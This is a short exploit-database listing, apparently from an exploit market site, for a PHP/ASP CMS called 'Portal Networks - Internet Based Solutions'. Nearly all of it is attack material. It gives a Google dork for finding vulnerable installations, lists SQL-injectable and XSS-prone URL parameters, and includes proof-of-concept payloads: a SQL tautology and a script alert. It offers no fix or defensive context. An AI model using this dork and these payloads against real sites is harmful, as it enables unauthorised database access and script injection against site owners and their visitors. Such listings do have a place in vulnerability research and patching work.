[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Portal Networks - Internet Based Solutions CMS Multiple Vulnerabilities

Author
p0pc0rn
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-15524
Category
web applications
Date add
01-03-2011
Platform
php
Web    : http://www.portalnetworks.com.mx/
Found by: p0pc0rn 01/03/2011
Dork   : intext:"Powered by: Portal Networks - Internet Based Solutions" asp

SQL
---

http://site.com/buscar.asp?linea=[SQL]
http://site.com/buscar.asp?q=[SQL]
http://site.com/detalle.asp?clave=[SQL]
http://site.com/searchProduct.asp?action=search&qSearch=[SQL]

XSS
---

http://site.com/buscar.asp?q=[XSS]
http://site.com/error.asp?Error=[XSS]

POC
---
http://site.com/detalle.asp?clave=1337' having 1='1
http://site.com/buscar.asp?q=<script>alert(1)</script>



#  0day.today [2024-06-02]  #